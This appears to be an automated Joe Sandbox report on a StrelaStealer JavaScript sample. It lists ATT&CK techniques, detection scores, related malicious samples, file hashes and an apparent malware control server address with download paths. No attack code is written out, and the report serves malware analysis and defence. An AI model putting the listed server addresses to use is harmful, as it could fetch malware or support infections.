Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3007510974140184124.js	7%	Virustotal		Browse
3007510974140184124.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/$	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2585165224.00000238B2400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000007.00000002.1350342239.000002ED7AD14000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s64	net.exe, 00000007.00000002.1350342239.000002ED7ACD8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1350342239.000002ED7ACD8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1358685513.00000238B2600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588887
Start date and time:	2025-01-11 06:42:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3007510974140184124.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 54.224.241.105, 50.16.47.176, 18.213.11.84, 34.237.241.83, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.6.155.20, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:43:20	API Interceptor	20x Sleep call for process: powershell.exe modified
00:43:23	API Interceptor	1x Sleep call for process: net.exe modified
00:43:24	API Interceptor	2x Sleep call for process: svchost.exe modified
00:43:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807485673340443
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9l:0J7adfWuK0p/QDfKoPeuP0aN4fqox2
MD5:	2F3DD25B1AB754D4393AE0C4FF682770
SHA1:	F66D942A71A01F775AB909CB5CA7ECBEC04ECC5A
SHA-256:	F2B7F73A89E0D44DB3D87A2D8926A2321788D1AE200ABE9CA53F1B8239DB4675
SHA-512:	FB0432902A1C24DF3FC32DBB49895EC4DA02C560E6198AAC92E683FD7485E1D689328186B6DEE34D47DBC2AECF58B3B6E4E9C284EC4D5AEE43E68F3AFB4D1516
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4ec774dd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880650691772235
Encrypted:	false
SSDEEP:	1536:/SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:/azaPv4V4fXq2UaB
MD5:	E89F3EC23F9AA1F358908DF44D8BE6BC
SHA1:	58DA17055BFEE157E01426AFD22933CC5B8E787D
SHA-256:	CBE0C468F2BC22625FB002198427D90973F3EF13EA125F91C8BF82A859B85169
SHA-512:	EEBAB615C1A6AD9B4F23A037CBEF055E7D584B1BAA18D31E94419887F420E79421EF2C635EB0C39E1B58EE1AABDF6911AE5F3DC04C36DABF55B79963D908C6AD
Malicious:	false
Preview:	N.t.... ...............X\...;...{......................X............{...+...};.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{....................................._.+...}[<.................47..+...};..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0814461198805366
Encrypted:	false
SSDEEP:	3:w7lllEYeKPrfemXlVG0+q2Iqe8lyROgr3illNTt/4ll/Q6beV/:w76zKr2UGE8lyROgLGHtc6V
MD5:	B4B7B4758AE2EBA0FE07ADCC57B0368B
SHA1:	E230D6E185B8DADA6B7CBDD3CE1E34EEFF62BBBF
SHA-256:	720E2844D7355694A1F62692345A45E612838744B28CA763D64F319324E264A0
SHA-512:	6341AE2B662DA45E39B3EE19425BB31B9677BC03741152C5940717E71089724BE4A3FF4E309E14C476F4D65B03CCFCA76CCFABC8FD992AF0251B825DD7D3CC96
Malicious:	false
Preview:	.k......................................;...{...+...};......{...............{.......{....:......{..................47..+...};.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.16097559562146
Encrypted:	false
SSDEEP:	6:iOfQWM+q2PFi2nKuAl9OmbnIFUtudKG1ZmwwdKQWMVkwOFi2nKuAl9OmbjLJ:7o+vdZHAahFUtqd1/EvV5wZHAaSJ
MD5:	327294BB78E77C78DB70EB2BD05839F7
SHA1:	2EF41775383EAA060FE979D9FF50CBF86FB0C4DC
SHA-256:	47D480179F7BF008F686D02F97A65B602F0B065326B77EB834C0FB94225F7F3D
SHA-512:	794B39E87F5210A6C468062C3EADB0C9B7FBDCADAB67624494A23E861C6D5594C50B6E6A375FB839F41867FBF2D7DCB54074C06C5EC0B2033E72F5816018114F
Malicious:	false
Preview:	2025/01/11-00:43:23.747 17ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:43:23.750 17ac Recovering log #3.2025/01/11-00:43:23.750 17ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.16097559562146
Encrypted:	false
SSDEEP:	6:iOfQWM+q2PFi2nKuAl9OmbnIFUtudKG1ZmwwdKQWMVkwOFi2nKuAl9OmbjLJ:7o+vdZHAahFUtqd1/EvV5wZHAaSJ
MD5:	327294BB78E77C78DB70EB2BD05839F7
SHA1:	2EF41775383EAA060FE979D9FF50CBF86FB0C4DC
SHA-256:	47D480179F7BF008F686D02F97A65B602F0B065326B77EB834C0FB94225F7F3D
SHA-512:	794B39E87F5210A6C468062C3EADB0C9B7FBDCADAB67624494A23E861C6D5594C50B6E6A375FB839F41867FBF2D7DCB54074C06C5EC0B2033E72F5816018114F
Malicious:	false
Preview:	2025/01/11-00:43:23.747 17ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:43:23.750 17ac Recovering log #3.2025/01/11-00:43:23.750 17ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.13927923845422
Encrypted:	false
SSDEEP:	6:iOa+q2PFi2nKuAl9Ombzo2jMGIFUtZZmwrVkwOFi2nKuAl9Ombzo2jMmLJ:77vdZHAa8uFUtZ/x5wZHAa8RJ
MD5:	343D4368D369D58930E40F2E6DC408F5
SHA1:	168F3BF56C7313EECDC4790A5FC939BAE91964AE
SHA-256:	D3B5F879B67C192CB2354B86DF40BD8FB521103BCFEB851ADCCE692528D26911
SHA-512:	A4B495461534044AC9F96781FDBA2F25A9E36BF995C0D6A6B7FB8ED14AD6299B010B9EAA47881FC2A727194997AC059EA4E6D7776A1105C42C4110ADD1581A87
Malicious:	false
Preview:	2025/01/11-00:43:23.807 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:43:23.808 1ec8 Recovering log #3.2025/01/11-00:43:23.808 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.13927923845422
Encrypted:	false
SSDEEP:	6:iOa+q2PFi2nKuAl9Ombzo2jMGIFUtZZmwrVkwOFi2nKuAl9Ombzo2jMmLJ:77vdZHAa8uFUtZ/x5wZHAa8RJ
MD5:	343D4368D369D58930E40F2E6DC408F5
SHA1:	168F3BF56C7313EECDC4790A5FC939BAE91964AE
SHA-256:	D3B5F879B67C192CB2354B86DF40BD8FB521103BCFEB851ADCCE692528D26911
SHA-512:	A4B495461534044AC9F96781FDBA2F25A9E36BF995C0D6A6B7FB8ED14AD6299B010B9EAA47881FC2A727194997AC059EA4E6D7776A1105C42C4110ADD1581A87
Malicious:	false
Preview:	2025/01/11-00:43:23.807 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:43:23.808 1ec8 Recovering log #3.2025/01/11-00:43:23.808 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.954346680412421
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnKQd2sBdOg2H8caq3QYiubpP7E4T3y:Y2sRdsCbdMH/3QYhbd7nby
MD5:	1A4C82E21130D474DD158C31E1E281BB
SHA1:	66300050689FC9C50737B727CACF651E23698BA6
SHA-256:	EFB4D3C5BE78FA38B770C84D848E553D72168A52E6635F631BB87D6F7F9943EA
SHA-512:	A830FD33641D025282C45704E955CF622623AD8093ABBA6C987DCB3A2E5C4079A9C5BCBEF59FA7165DB0CEEC5E75742187A110DEE1FCEAA9B7DCC146E723BB11
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134215614858","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123255},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e90c57ee-50a5-4f8c-bcb4-30ddf609fcad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.954346680412421
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnKQd2sBdOg2H8caq3QYiubpP7E4T3y:Y2sRdsCbdMH/3QYhbd7nby
MD5:	1A4C82E21130D474DD158C31E1E281BB
SHA1:	66300050689FC9C50737B727CACF651E23698BA6
SHA-256:	EFB4D3C5BE78FA38B770C84D848E553D72168A52E6635F631BB87D6F7F9943EA
SHA-512:	A830FD33641D025282C45704E955CF622623AD8093ABBA6C987DCB3A2E5C4079A9C5BCBEF59FA7165DB0CEEC5E75742187A110DEE1FCEAA9B7DCC146E723BB11
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134215614858","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123255},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.228842418984116
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVGkV9Hk:wshFT0h7cZb2EVKZPEANcGIK5EVGkV9E
MD5:	4F55BFD807BA94A9E9D53B50ED518A0E
SHA1:	8BF8306F9EE4EB07C61431DF7BCD84C91CC36363
SHA-256:	9CDCAD9D1EFBD6B819052105FD5B85DE83044DBB5C49F34374C0067F46F5C4C6
SHA-512:	98A2D82CC91ACAF5A03A48EAF9E745E360656112B210115D26D43441966B523DF6900622049932DBA5FCEE4EEFA3DE1166932BF5E2A1591F0E189CD5AC1DB5AD
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.210448109232974
Encrypted:	false
SSDEEP:	6:iOT4HN+q2PFi2nKuAl9OmbzNMxIFUtctZmwG3VkwOFi2nKuAl9OmbzNMFLJ:70ovdZHAa8jFUt0/GF5wZHAa84J
MD5:	E6AFA337E2C7FBA1777BDEFA72135BF3
SHA1:	25CB97F2E6B8EADF27601B7EE1D4DCB8DE371448
SHA-256:	F5FC7C68F0CD880DB77F095D223971D111748B4C5CFD561044C47DA9EB9A7BB2
SHA-512:	FED33AB852FE97C6B623CD2B99B2109CBAC37255E97F3A53F0A4240B436C3878E1EE3AB3FEAFF7742C4046F808C4850B9448AF02A37D9121B40CA05F5F0F6550
Malicious:	false
Preview:	2025/01/11-00:43:24.499 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:43:24.628 1ec8 Recovering log #3.2025/01/11-00:43:24.637 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.210448109232974
Encrypted:	false
SSDEEP:	6:iOT4HN+q2PFi2nKuAl9OmbzNMxIFUtctZmwG3VkwOFi2nKuAl9OmbzNMFLJ:70ovdZHAa8jFUt0/GF5wZHAa84J
MD5:	E6AFA337E2C7FBA1777BDEFA72135BF3
SHA1:	25CB97F2E6B8EADF27601B7EE1D4DCB8DE371448
SHA-256:	F5FC7C68F0CD880DB77F095D223971D111748B4C5CFD561044C47DA9EB9A7BB2
SHA-512:	FED33AB852FE97C6B623CD2B99B2109CBAC37255E97F3A53F0A4240B436C3878E1EE3AB3FEAFF7742C4046F808C4850B9448AF02A37D9121B40CA05F5F0F6550
Malicious:	false
Preview:	2025/01/11-00:43:24.499 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:43:24.628 1ec8 Recovering log #3.2025/01/11-00:43:24.637 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43869923655592
Encrypted:	false
SSDEEP:	384:yejci5GMiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0gurVgazUpUTTGt
MD5:	E7B2977E477927B41E9208949839DCEE
SHA1:	D18C81301DDCC890A87507F04D428D5143A75AED
SHA-256:	23A1B5367D680CD7C033BED91FD4F543AFE5EF1F52BDF1849752EE3A8298C446
SHA-512:	F7E7F5682CB60A1FBBFF7A497AD8DB2FBFEE08B9FF138A13DFD1FC036645C6D5FFB8F7FA3E5FEF7307643D833F1694901A89C46F8E8AF5E14B6FAD227E64F4FC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7751858841458192
Encrypted:	false
SSDEEP:	48:7Mkp/E2ioyVYioy5oWoy1CUoy1EKOioy1noy1AYoy1Wioy1hioybioySoy1noy1x:7zpjuYJbXKQTub9IVXEBodRBkq
MD5:	083CEA81AD32FBE0BDEBB2496358AD99
SHA1:	1EFB15147C4C1004FD4CF916CA8E74453A9589B8
SHA-256:	F737358C2DA9794DB2671554A303DFA97C5DCBC20CB22866CFFF28DD00A4ECBB
SHA-512:	9E35414B54223390707E6A8B21469DD6978DB0B60632E0E8C3508097A80B74F55A5400968701E69A9833F53656024DBD2BBA54570A7AC405783E88B8BED2135E
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
